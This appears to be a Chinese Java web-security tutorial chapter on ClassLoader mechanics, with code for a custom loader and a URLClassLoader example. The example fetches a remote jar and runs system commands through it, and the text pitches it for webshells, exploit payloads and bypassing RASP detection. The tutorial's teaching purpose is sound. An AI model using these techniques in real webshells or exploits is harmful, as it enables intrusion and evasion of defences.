Class Loader (類加載機制)
Java是一個依賴于JVM(Java虛擬機)實現的跨平臺的開發語言。Java程序在運行前需要先編譯成class文件,Java類初始化的時候會調用java.lang.ClassLoader加載類字節碼,ClassLoader會調用JVM的native方法(defineClass0/1/2)來定義一個java.lang.Class實例。
JVM架構圖:

Java類
Java是編譯型語言,我們編寫的java文件需要編譯成后class文件后才能夠被JVM運行,學習ClassLoader之前我們先簡單了解下Java類。
示例TestHelloWorld.java:
package com.anbai.sec.classloader;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestHelloWorld {
public String hello() {
return "Hello World~";
}
}
編譯TestHelloWorld.java:javac TestHelloWorld.java
我們可以通過JDK自帶的javap命令反匯編TestHelloWorld.class文件對應的com.anbai.sec.classloader.TestHelloWorld類,以及使用Linux自帶的hexdump命令查看TestHelloWorld.class文件二進制內容:

JVM在執行TestHelloWorld之前會先解析class二進制內容,JVM執行的其實就是如上javap命令生成的字節碼(ByteCode)。
ClassLoader
一切的Java類都必須經過JVM加載后才能運行,而ClassLoader的主要作用就是Java類文件的加載。在JVM類加載器中最頂層的是Bootstrap ClassLoader(引導類加載器)、Extension ClassLoader(擴展類加載器)、App ClassLoader(系統類加載器),AppClassLoader是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用AppClassLoader加載類,ClassLoader.getSystemClassLoader()返回的系統類加載器也是AppClassLoader。
值得注意的是某些時候我們獲取一個類的類加載器時候可能會返回一個null值,如:java.io.File.class.getClassLoader()將返回一個null對象,因為java.io.File類在JVM初始化的時候會被Bootstrap ClassLoader(引導類加載器)加載(該類加載器實現于JVM層,采用C++編寫),我們在嘗試獲取被Bootstrap ClassLoader類加載器所加載的類的ClassLoader時候都會返回null。
ClassLoader類有如下核心方法:
loadClass(加載指定的Java類)findClass(查找指定的Java類)findLoadedClass(查找JVM已經加載過的類)defineClass(定義一個Java類)resolveClass(鏈接指定的Java類)
Java類動態加載方式
Java類加載方式分為顯式和隱式,顯式即我們通常使用Java反射或者ClassLoader來動態加載一個類對象,而隱式指的是類名.方法名()或new類實例。顯式類加載方式也可以理解為類動態加載,我們可以自定義類加載器去加載任意的類。
常用的類動態加載方式:
// 反射加載TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加載TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName("類名")默認會初始化被加載類的靜態屬性和方法,如果不希望初始化類可以使用Class.forName("類名", 是否初始化類, 類加載器),而ClassLoader.loadClass默認不會初始化類方法。
ClassLoader類加載流程
理解Java類加載機制并非易事,這里我們以一個Java的HelloWorld來學習ClassLoader。
ClassLoader加載com.anbai.sec.classloader.TestHelloWorld類重要流程如下:
ClassLoader會調用public Class<?> loadClass(String name)方法加載com.anbai.sec.classloader.TestHelloWorld類。- 調用
findLoadedClass方法檢查TestHelloWorld類是否已經初始化,如果JVM已初始化過該類則直接返回類對象。 - 如果創建當前
ClassLoader時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載TestHelloWorld類,否則使用JVM的Bootstrap ClassLoader加載。 - 如果上一步無法加載
TestHelloWorld類,那么調用自身的findClass方法嘗試加載TestHelloWorld類。 - 如果當前的
ClassLoader沒有重寫了findClass方法,那么直接返回類加載失敗異常。如果當前類重寫了findClass方法并通過傳入的com.anbai.sec.classloader.TestHelloWorld類名找到了對應的類字節碼,那么應該調用defineClass方法去JVM中注冊該類。 - 如果調用loadClass的時候傳入的
resolve參數為true,那么還需要調用resolveClass方法鏈接類,默認為false。 - 返回一個被JVM加載后的
java.lang.Class類對象。
自定義ClassLoader
java.lang.ClassLoader是所有的類加載器的父類,java.lang.ClassLoader有非常多的子類加載器,比如我們用于加載jar包的java.net.URLClassLoader其本身通過繼承java.lang.ClassLoader類,重寫了findClass方法從而實現了加載目錄class文件甚至是遠程資源文件。
既然已知ClassLoader具備了加載類的能力,那么我們不妨嘗試下寫一個自己的類加載器來實現加載自定義的字節碼(這里以加載TestHelloWorld類為例)并調用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld類存在的情況下,我們可以使用如下代碼即可實現調用hello方法并輸出:
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);
但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我們的classpath,那么我們可以使用自定義類加載器重寫findClass方法,然后在調用defineClass方法的時候傳入TestHelloWorld類的字節碼的方式來向JVM中定義一個TestHelloWorld類,最后通過反射機制就可以調用TestHelloWorld類的hello方法了。
TestClassLoader示例代碼:
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestClassLoader extends ClassLoader {
// TestHelloWorld類名
private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
// TestHelloWorld類字節碼
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
0, 0, 0, 2, 0, 12
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只處理TestHelloWorld類
if (name.equals(testClassName)) {
// 調用JVM的native方法定義TestHelloWorld類
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 創建自定義的類加載器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定義的類加載器加載TestHelloWorld類
Class testClass = loader.loadClass(testClassName);
// 反射創建TestHelloWorld類,等價于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射獲取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射調用hello方法,等價于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用自定義類加載器我們可以在webshell中實現加載并調用自己編譯的類對象,比如本地命令執行漏洞調用自定義類字節碼的native方法繞過RASP檢測,也可以用于加密重要的Java類字節碼(只能算弱加密了)。
URLClassLoader
URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠程資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠程的jar來實現遠程的類方法調用。
TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠程加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 創建URLClassLoader對象,并加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統命令
String cmd = "ls";
// 通過URLClassLoader加載遠程jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 調用CMD類中的exec方法,等價于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
遠程的cmd.jar中就一個CMD.class文件,對應的編譯之前的代碼片段如下:
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
程序執行結果如下:
README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml
ClassLoader總結
ClassLoader是JVM中一個非常重要的組成部分,ClassLoader可以為我們加載任意的java類,通過自定義ClassLoader更能夠實現自定義類加載行為,在后面的幾個章節我們也將講解ClassLoader的實際利用場景。
Java Web安全
推薦文章: